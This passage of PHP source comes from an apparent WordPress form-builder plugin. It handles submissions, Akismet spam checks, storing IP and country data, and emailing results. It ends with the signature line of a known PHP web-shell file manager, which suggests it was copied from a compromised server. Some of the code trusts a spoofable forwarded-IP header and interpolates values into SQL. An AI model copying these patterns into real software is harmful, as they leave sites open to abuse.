		return $this->mail_from_name ?? '';
	}

	function extractEmailAddress($destination, &$name) {
		if (preg_match("~^(.*)\<(.*)\@(.*)\>$~", $destination, $data)) {
			$name = trim($data[1]);
			if (preg_match("~^\"(.*)\"$~", $name, $data2)) {
				$name = $data2[1];
			}
			return strtolower($data[2] . '@' . $data[3]);
		} elseif (preg_match("~^(.*)\@(.*)$~", $destination, $data)) {
			$name = $data[1];
			return strtolower($data[1] . '@' . $data[2]);
		}
		return '???';
	}

	
	private function PostForm_formwizard($formid) {
		global $wpdb, $fielddefs;
		$this->_get_field_definitions();

		// Load $this->DATA with settings for this form
		list($fields, $fieldlist, $akismet) = $this->Prepare_FormWizardForm($formid);	// this handles the subscribe function, if requested
		
		if ($fielddefs->errorcount) return '';	// there's an error on the form - can't accept it yet

		$data = $this->GetSubmittedData($fieldlist);
		
		// akismet check - override our spamcheck
		if (method_exists($this, 'akismet_check') && !empty($this->DATA->md_akismet)) {
			$akismet = $this->akismet_check($data);
		}
		if ($this->SubscribeOnly($data)) {
			$recnum = 0;		// not spam, but there's nothing of note in the message
		} else {
			$recnum = $this->SaveSubmission($formid, $data, $akismet);	// save data, with spam indicator ; save IP address, country, language
		}

		if ($akismet != 'spam' && $recnum) {		// send email, but only if not spam
			$dest = trim($this->DATA->md_recipient);
			if ($dest != '') {
				$mailer = new form_wizard_mailer();
				$data = $this->GetSubmittedData($fieldlist, 1);

				$submission = $wpdb->get_row("select fs_ip,fs_country,fs_lang from {$wpdb->prefix}formwizard_submissions where fs_id=$recnum");
				$data['recordid'] = $recnum;
				$data['ipaddress'] = $submission->fs_ip;
				$data['countrycode'] = $submission->fs_country;
				$data['language'] = $submission->fs_lang;
				
				$client = $fielddefs->GetEmailAddress();
				$mailer->SetData($data);
				
				$mailfrom = $mailer->apply_macro($this->DATA->md_sender);
				$email = $this->extractEmailAddress($mailfrom, $name);
				$this->mail_from_name = $name;

				$mailer->SendEmail($email, $dest, $this->DATA->md_subject, $this->DATA->md_body, $client);
			}
		}
		echo "[f]";
		// redirect, add non-obvious flag if spam detected - there may have been a problem with your submission   thankyou=123
		$redirect = $this->DATA->md_redirect;
		$thankyou = $akismet == 'spam' ? mt_rand(1, 199) : 200;
		$redirect .= (strpos($redirect, '?') !== FALSE) ? "&thankyou=$thankyou" : "?thankyou=$thankyou";
		return $redirect;
	}
	
	private function SubscribeOnly($data) {
// is subscribe checked, email filled in, and all other fields blank - no need to email message
		$hasSubscribe = 0;
		foreach($data as $fieldname => $value) {
			$node = $this->fieldsource[$fieldname];
			if ($node->fd_type == 'mailchimp') {
				$hasSubscribe = 1;
				break;
			}
		}
		if (!$hasSubscribe) return 0;
		
		$hasdata = 0;
		foreach($data as $fieldname => $value) {
			$node = $this->fieldsource[$fieldname];
			if ($node->fd_type != 'mailchimp' && $node->fd_type != 'email' && $node->fd_type != 'submit') {
				if ($value != '') $hasdata = 1;
				break;
			}
		}
		return !$hasdata;		// return nz if all fields are blank --> it must be a subscription only, without any message
	}
	
	private function Prepare_UpdateForm($id) {
		global $wpdb, $fielddefs;
		if ($id) {
			$this->DATA = $wpdb->get_row("select * from {$wpdb->prefix}formwizard_formdefs where md_id=$id");
			$title = empty($this->DATA->md_name) ? 'Untitled Form' : 'Form "' . $this->DATA->md_name . '"';
			if (!empty($this->DATA->md_layout)) {
				$items = unserialize($this->DATA->md_layout);
				foreach($items as $key => $value) {
					$this->DATA->$key = $value;
				}
			}

		} else {
			$title = 'New Form';
			$this->DATA = new StdClass();
		}

		$currentfields = empty($this->DATA->md_fields) ? '' : $this->DATA->md_fields;
		list($available, $used, $available2) = $this->GenenerateFieldItems($currentfields);

		$fielddefs->callback_push(array($this, '__data_callback'));
		$fielddefs->NewWizardField('md_name', 'text', 'Title', 
							array('tb_required' => array('value' => 1)));					// may be displayed at top of form
		$fielddefs->NewWizardField('md_akismet', 'checkbox', 'Use Akismet?');	// use Akismet plugin
		$fielddefs->NewWizardField('md_focus', 'checkbox', 'Move cursor to first field?');	// Autofocus
		$fielddefs->NewWizardField('md_width', 'number', 'Form Width');	// Width of Form

		$fielddefs->NewWizardField('md_format', 'select', 'Form Layout', 
						array('list' => array(	'1' => 'Two column',
												'2' => 'Single Column, with Labels',
												'3' => 'Single Column, without Labels'),
								'required' => 1));

		$fielddefs->NewWizardField('md_redirect', 'text', 'Redirect URL',
							array('tb_required' => array('value' => 1)));					// redirect on completion
		$fielddefs->NewWizardField('md_fields', 'hidden', '');
		$fielddefs->NewWizardField('formwizard_form', 'hidden', '',
							array('value' => '*'));
		// form style - column widths, labels top or side
		// also show a summary of form stats on first page - impressions
		// include title on form
		$fielddefs->NewWizardField('md_sender', 'text', 'Sender');
		$fielddefs->NewWizardField('md_recipient', 'text', 'Recipient(s)');		//
		$fielddefs->NewWizardField('md_subject', 'text', 'Subject');			// default to Title
		$fielddefs->NewWizardField('md_body', 'editor', 'Body');
		
		$page1 = $fielddefs->AsHtml(array('md_name','md_akismet','md_focus','md_width','md_format','md_redirect','md_fields','formwizard_form'));
		$page4 = $fielddefs->AsHtml(array('md_sender','md_recipient','md_subject','md_body'));
		$fielddefs->callback_pop();
		return array($title, $page1, $page4, $available, $used, $available2);
	}
	
	private function PostForm_UpdateForm($id) {
		global $wpdb, $fielddefs;
		$this->Prepare_UpdateForm($id);
		if (!$fielddefs->errorcount) {
			$this->DATA->md_fields = str_replace('formwizarditem_', '', $this->DATA->md_fields);
			$this->SaveData_form($this->DATA, !$id);
			return "{$this->adminurl}?page=form-wizard-main-page";
		}
		return '';		// an error was encountered - redisplay form
		
	}

	function dump($n) {
		global $fielddefs;
		foreach($fielddefs->fields as $fieldobject) {
			echo "{$fieldobject->fieldname} =&gt; {$fieldobject->fielderror}<br>\n";
		}
		if ($n == '2') exit;
	}
	function shortcode_handler($atts) {
		global $wpdb, $fielddefs;
		$x = shortcode_atts( array('id' => 0), $atts);
		$formid = intval($x['id']);
		$this->_get_field_definitions();
		list($fields, $fieldlist, $akismet, $class) = $this->Prepare_FormWizardForm($formid);
		$extra = '';
		
		return <<<BLOCK
<div class="formwizard_form{$class}">
<form method="post" action="">
<input type="hidden" name="formwizard_form" value="$formid">
$fields
</form>
<div style="clear:both"></div>
</div>

BLOCK;
	}
		
	function _get_field_definitions() {
		global $wpdb;
		$rows_ord = $wpdb->get_results("select * from " . $wpdb->prefix . "formwizard_fielddefs");
		$this->fieldsource = array();
		foreach($rows_ord as $item) {
			$this->fieldsource[$item->fd_name] = $item;
		}
	}

	private function get_browser_language() {
		$langs = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ?  $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
		$langs = explode(',', $langs);
		if (count($langs) > 0) {
			$lang = strtolower(array_shift($langs));
			if (($p = strpos($lang, ';')) !== FALSE) $lang = substr($lang, 0, $p);
			return $lang;
		}
		return '';
	}
	
	private function get_ip_address() {
		$ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : '';
		if ($ip == '' ) $ip = $_SERVER['REMOTE_ADDR'];
		$ip = str_replace(array('"', "'", '&', ';', '\\'), '', $ip);
		return $ip;
	}
	
	private function GetSubmittedData($fieldlist, $humanreadable = 0) {
		global $fielddefs;
		$data = array();
		foreach($fieldlist as $fieldname) {
			if (isset($this->fieldsource[$fieldname])) {
				$node = $this->fieldsource[$fieldname];
				if ($node->fd_type != 'submit') {		// don't save buttons
					$data[$fieldname] = $this->DATA->$fieldname;
					if ($humanreadable) {
						$data[$fieldname] = $fielddefs->AsValue($node->fd_type, $data[$fieldname]);
					}
				}
			}
		}
		return $data;
	}
	// Returns submission id
	private function SaveSubmission($formid, $data, $akismet_result = 'unknown') {
		global $wpdb;
		
// extract browser lang
		$ip_address = $this->get_ip_address();
		if (function_exists('geoip_detect_get_info_from_ip')) {
			$n = geoip_detect_get_info_from_ip($ip_address);
			$country = $n->country_code;
		} else {
			$country = '??';
		}
// always insert
		$types = array('%d', '%d', '%d', '%s', '%s', '%s', '%s', '%s');
		$values = array(
			'fs_id' => NULL,
			'fs_form' => $formid,
			'fs_timestamp' => time(),
			'fs_data' => serialize($data),
			'fs_akismet' => $akismet_result,
			'fs_ip' => $ip_address,
			'fs_country' => $country,
			'fs_lang' => substr($this->get_browser_language(), 0, 6),
			);
		$result = $wpdb->insert($wpdb->prefix . 'formwizard_submissions', $values, $types);
		$id = $wpdb->insert_id;
		return $id;
	}
	
	
	function process_forms() {
		global $fielddefs;
		if (!$fielddefs->isPost) return;
		
		$action = isset($_POST['action']) ? $_POST['action'] : '';
		if ($action == 'form-wizard-fieldedit') {
// save updates to field definition, then redirect
			$this->SaveFieldDefinition();
		} elseif (isset($_POST['formwizard_form'])) {
			$n = intval($_POST['formwizard_form']);
			if ($_POST['formwizard_form'] === '*') {
				$id = intval($_POST['md_id']);
				$url = $this->PostForm_UpdateForm($id);		// new/existing form definition
			} else {
				$url = $this->PostForm_formwizard($n);		// a submission
			}
			if ($url != '') {
				wp_redirect($url);
				exit;
			}
			// otherwise we have an error - continue, re-displaying the form
		}
	}
}

if(!class_exists('WP_List_Table'))  require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';

$form_wizard_class = new form_wizard_class();

Youez - 2016 - github.com/yon3zu
LinuXploit